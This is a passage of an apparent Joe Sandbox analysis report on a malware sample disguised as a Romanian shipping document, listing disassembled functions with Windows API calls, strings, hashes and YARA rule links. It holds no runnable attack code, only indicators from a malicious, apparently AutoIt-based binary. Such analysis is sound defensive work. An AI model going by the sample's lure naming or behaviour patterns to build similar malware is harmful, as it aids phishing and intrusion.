                                                • Instruction Fuzzy Hash: 0A21A032500229ABDF11DFA8DC46FEE3B79EB48724F110124FE156B1D0DAB5A8518BA0
                                                Function 00A27B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00A27C4A
                                                • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00A27C58
                                                • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00A27C5F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$DestroyWindow
                                                • String ID: msctls_updown32
                                                • API String ID: 4014797782-2298589950
                                                • Opcode ID: 39f0431510503fb17715b29b1c932e0e59c76ed2e93702d7777aad53a96f3484
                                                • Instruction ID: 1d3af2aab3b87ae7fa74f03ce6a2895829f4efdb55d3207996ebc6968bc77640
                                                • Opcode Fuzzy Hash: 39f0431510503fb17715b29b1c932e0e59c76ed2e93702d7777aad53a96f3484
                                                • Instruction Fuzzy Hash: 14217FB5604119AFDB10DF68DCC1DAA37ECEF9A354B140469F9019B3A1CB71ED118AA0
                                                Function 00A26CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00A26D3B
                                                • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00A26D4B
                                                • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00A26D70
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$MoveWindow
                                                • String ID: Listbox
                                                • API String ID: 3315199576-2633736733
                                                • Opcode ID: 07a78fa5c783e51bb8da38b857edcea064dea8c70dc7785268e0f0b8825cf93c
                                                • Instruction ID: d17d575ebb3c7c5a5f0c60c67603c72649b69a134de58b94353369fbd6b67d92
                                                • Opcode Fuzzy Hash: 07a78fa5c783e51bb8da38b857edcea064dea8c70dc7785268e0f0b8825cf93c
                                                • Instruction Fuzzy Hash: FE219232611128BFDF119F58EC45FBB3BBAEF89750F018138FA459B1A0C6719C5287A0
                                                Function 009F8C4B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 009F8C6D
                                                • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 009F8C84
                                                • SendMessageW.USER32(?,0000000D,?,00000000), ref: 009F8CBC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: @U=u
                                                • API String ID: 3850602802-2594219639
                                                • Opcode ID: 9ca1d4733449f43a4f62a5fa79f247d873968c8c27353f46a0e1cf74b9016571
                                                • Instruction ID: 9544537c8d73d2dfa54877e04c1a143773b938b01ce944df5dd55e9f2f1e17a6
                                                • Opcode Fuzzy Hash: 9ca1d4733449f43a4f62a5fa79f247d873968c8c27353f46a0e1cf74b9016571
                                                • Instruction Fuzzy Hash: E5218072A0111DBBDB60DBA8C841EBFB7BDEF84350F10046AE545E7150DB71A9458BA4
                                                Function 00A2770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00A27772
                                                • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00A27787
                                                • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00A27794
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: msctls_trackbar32
                                                • API String ID: 3850602802-1010561917
                                                • Opcode ID: 29769d85e103b7d605cc10e537740736abf00104957ddcd290c71af8ce8997b1
                                                • Instruction ID: 85e731755115ccfce5ebb8815dc418927eec78769ac60d6fd93eee726db8cce4
                                                • Opcode Fuzzy Hash: 29769d85e103b7d605cc10e537740736abf00104957ddcd290c71af8ce8997b1
                                                • Instruction Fuzzy Hash: 69112372600208BFEF249F68DC05FEB37A8EF89B54F020538FA41A6090C272E811CB20
                                                Function 00A26920 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowTextLengthW.USER32(00000000), ref: 00A269A2
                                                • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00A269B1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LengthMessageSendTextWindow
                                                • String ID: @U=u$edit
                                                • API String ID: 2978978980-590756393
                                                • Opcode ID: f54fface2e5a3259d8f84189eda72b3f35a2578ddb25a10fda472745624f6cc8
                                                • Instruction ID: 01848089786cafa7f11664c9a95dbe663285f14faaf98283898b3b6cc9a4aa14
                                                • Opcode Fuzzy Hash: f54fface2e5a3259d8f84189eda72b3f35a2578ddb25a10fda472745624f6cc8
                                                • Instruction Fuzzy Hash: 9B116A71502228AFEB108F68AC45EFB37A9EB053B4F504734F9A5961E0CB71DC919BA0
                                                Function 009F8E05 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 52windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                  • Part of subcall function 009FAA99: GetClassNameW.USER32(?,?,000000FF), ref: 009FAABC
                                                • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 009F8E73
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClassMessageNameSend_memmove
                                                • String ID: @U=u$ComboBox$ListBox
                                                • API String ID: 372448540-2258501812
                                                • Opcode ID: d161490aafb27144f35fe129c0037e220cdd73204ff1fe7df9ac965cb40502a7
                                                • Instruction ID: f342c30b4a8e72813f6c9b7324f8176385b3b70d55085d9908d2904a8ed20103
                                                • Opcode Fuzzy Hash: d161490aafb27144f35fe129c0037e220cdd73204ff1fe7df9ac965cb40502a7
                                                • Instruction Fuzzy Hash: A601DEB1601218ABCB14FBA4CC46AFF7369BF86320B400A19B925672E1DE35580CC790
                                                Function 009F8CFD Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 50windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                  • Part of subcall function 009FAA99: GetClassNameW.USER32(?,?,000000FF), ref: 009FAABC
                                                • SendMessageW.USER32(?,00000180,00000000,?), ref: 009F8D6B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClassMessageNameSend_memmove
                                                • String ID: @U=u$ComboBox$ListBox
                                                • API String ID: 372448540-2258501812
                                                • Opcode ID: 16355d696a1bb2bcae9f6f22da6d02feb299ce363be5ca5b6691847cb91a0ec5
                                                • Instruction ID: 634852fa116ffbaacd750c4e515774b6254e3846ecfa142e159e2ca918213e49
                                                • Opcode Fuzzy Hash: 16355d696a1bb2bcae9f6f22da6d02feb299ce363be5ca5b6691847cb91a0ec5
                                                • Instruction Fuzzy Hash: 5001BCB1B4110CABCB14EBE0C952BFF77A8AF56300F500429B906672E1DE249A0CD3A1
                                                Function 009F8D82 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 49windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                  • Part of subcall function 009FAA99: GetClassNameW.USER32(?,?,000000FF), ref: 009FAABC
                                                • SendMessageW.USER32(?,00000182,?,00000000), ref: 009F8DEE
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClassMessageNameSend_memmove
                                                • String ID: @U=u$ComboBox$ListBox
                                                • API String ID: 372448540-2258501812
                                                • Opcode ID: 08e6deeba3dfb8eee7ccbb135b9e8f1d7f2012f68c55ef86a930a8c41c819e2f
                                                • Instruction ID: 0b4b2623a6984f199434999e4a47e5c8d7deb4d7a0bda81a837d344b8350ea38
                                                • Opcode Fuzzy Hash: 08e6deeba3dfb8eee7ccbb135b9e8f1d7f2012f68c55ef86a930a8c41c819e2f
                                                • Instruction Fuzzy Hash: 28018FB1A41109BBDB15EAA4C942BFF77AC9F56300F500429B905672D2DA258E0DD2B1
                                                Function 00A2ACCF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetForegroundWindow.USER32(?,00A657B0,00A2D809,000000FC,?,00000000,00000000,?,?,?,009DB969,?,?,?,?,?), ref: 00A2ACD1
                                                • GetFocus.USER32 ref: 00A2ACD9
                                                  • Part of subcall function 009A2612: GetWindowLongW.USER32(?,000000EB), ref: 009A2623
                                                  • Part of subcall function 009A25DB: GetWindowLongW.USER32(?,000000EB), ref: 009A25EC
                                                • SendMessageW.USER32(010DEAD0,000000B0,000001BC,000001C0), ref: 00A2AD4B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Long$FocusForegroundMessageSend
                                                • String ID: @U=u
                                                • API String ID: 3601265619-2594219639
                                                • Opcode ID: b0643c53239fe006a4444941fd5e3fc340fbecda459f446aa0210e6bbbc47467
                                                • Instruction ID: 9678c425d76f9e8a59849e1510f46545a591e8f06180879d93380bf40226e0a6
                                                • Opcode Fuzzy Hash: b0643c53239fe006a4444941fd5e3fc340fbecda459f446aa0210e6bbbc47467
                                                • Instruction Fuzzy Hash: D0014031601A109FC724DB3CE898B6577F6EB9A321F180279F415876B1CB31AC4B8B91
                                                Function 009B6063 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009B603A: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 009B6051
                                                • SendMessageW.USER32(?,0000000C,00000000,?), ref: 009B607F
                                                • GetParent.USER32(?), ref: 009F0D46
                                                • InvalidateRect.USER32(00000000,?,009B3A4F,?,00000000,00000001), ref: 009F0D4D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$InvalidateParentRectTimeout
                                                • String ID: @U=u
                                                • API String ID: 3648793173-2594219639
                                                • Opcode ID: 49926559d827ec1207dd30970fbd1afd1f6c0850dcf859e705d7105f6d84cfcb
                                                • Instruction ID: b2c597084200a900c55df44318fe9539d09c7d4175b26263307a1de722231445
                                                • Opcode Fuzzy Hash: 49926559d827ec1207dd30970fbd1afd1f6c0850dcf859e705d7105f6d84cfcb
                                                • Instruction Fuzzy Hash: 8EF08C30100244BBEF306FAADC0DFA57B69AB06760F204438F5409A0A1C6AA7842AB50
                                                Function 009A4C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,009A4BD0,?,009A4DEF,?,00A652F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 009A4C11
                                                • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 009A4C23
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                • API String ID: 2574300362-3689287502
                                                • Opcode ID: 840dec95c28e5609cecd079648bb88fa083cc1f2124ec9dde7ec4f78d635bbd0
                                                • Instruction ID: c6f0f7108af79b0bb6ba96bedafd98535278d6a0efc353f31c2525c0b608b753
                                                • Opcode Fuzzy Hash: 840dec95c28e5609cecd079648bb88fa083cc1f2124ec9dde7ec4f78d635bbd0
                                                • Instruction Fuzzy Hash: C6D01230511713DFD720AFB5D908657B6F9FF09752B518C3A94C6D6150E6B0D481C650
                                                Function 009A4C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,009A4B83,?), ref: 009A4C44
                                                • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 009A4C56
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                • API String ID: 2574300362-1355242751
                                                • Opcode ID: e1255b997bff740a5f97826c92897203b8c94f4025f2bbb94ddd3f7235f4b995
                                                • Instruction ID: de040ae110c0f491cc319a9d18ed92b86f14a18ff6dcd4c28ce543ba14089987
                                                • Opcode Fuzzy Hash: e1255b997bff740a5f97826c92897203b8c94f4025f2bbb94ddd3f7235f4b995
                                                • Instruction Fuzzy Hash: 11D0C730940723DFCB208F79DA0825A72F8BF06361B108C3A99DAC6160E6B0D880CA90
                                                Function 00A20DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(advapi32.dll,?,00A21039), ref: 00A20DF5
                                                • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00A20E07
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: RegDeleteKeyExW$advapi32.dll
                                                • API String ID: 2574300362-4033151799
                                                • Opcode ID: 9b2eb003f4b441ad5474fdc3135c0496131a2420a1d4d02c43430a92a1316f03
                                                • Instruction ID: b417ac4771e0d2d3160b35a08b6ab86bd2b072f4d2a78ca2e36da892fafd6215
                                                • Opcode Fuzzy Hash: 9b2eb003f4b441ad5474fdc3135c0496131a2420a1d4d02c43430a92a1316f03
                                                • Instruction Fuzzy Hash: 8ED0C730400322DFC3208FB8D808A83B2E5BF14342F028C3E9982E6150E6B8D8E4CA00
                                                Function 00A190E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,00000001,00A18CF4,?,00A2F910), ref: 00A190EE
                                                • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00A19100
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: GetModuleHandleExW$kernel32.dll
                                                • API String ID: 2574300362-199464113
                                                • Opcode ID: 2ca7bee8dbef7ac0c99854d2854a0a3342b12fd2e33bde5b667a82a20d5193c5
                                                • Instruction ID: ef2e50a6045fc43326ffe66a92d2a08801b72955d318988986779b2004fb0b89
                                                • Opcode Fuzzy Hash: 2ca7bee8dbef7ac0c99854d2854a0a3342b12fd2e33bde5b667a82a20d5193c5
                                                • Instruction Fuzzy Hash: 07D0C738550323EFCB20CF78E82824372E5BF08342B068D3A9882D2190EA70C8C0CA90
                                                Function 009E1714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LocalTime__swprintf
                                                • String ID: %.3d$WIN_XPe
                                                • API String ID: 2070861257-2409531811
                                                • Opcode ID: e4aef73f6d4569b0adfcc7b005bd18e774a28f9266123a97362ba5e26bb5232f
                                                • Instruction ID: 35ed24910be6779b21e5b7cd2136ef5a7a54983c672f7ff756b42e1f2d63733a
                                                • Opcode Fuzzy Hash: e4aef73f6d4569b0adfcc7b005bd18e774a28f9266123a97362ba5e26bb5232f
                                                • Instruction Fuzzy Hash: 84D01271844159FBC715D6919889DFD77BCB709702F100D62B40292140E23A8F95D621
                                                Function 009F717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: e682105ae816e0e4b49b4122fbb206e80b66138be46747882601b5041ad779cc
                                                • Instruction ID: 76a4e16c60b2934961bbf2617d0269fe6084b2d39fc84f9b9a2c0da9c6d2edd2
                                                • Opcode Fuzzy Hash: e682105ae816e0e4b49b4122fbb206e80b66138be46747882601b5041ad779cc
                                                • Instruction Fuzzy Hash: 90C14B74A0421AAFCB14CF94C884EBEFBB9FF48714B158598E905DB261D770DD81DB90
                                                Function 00A1E02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CharLowerBuffW.USER32(?,?), ref: 00A1E0BE
                                                • CharLowerBuffW.USER32(?,?), ref: 00A1E101
                                                  • Part of subcall function 00A1D7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00A1D7C5
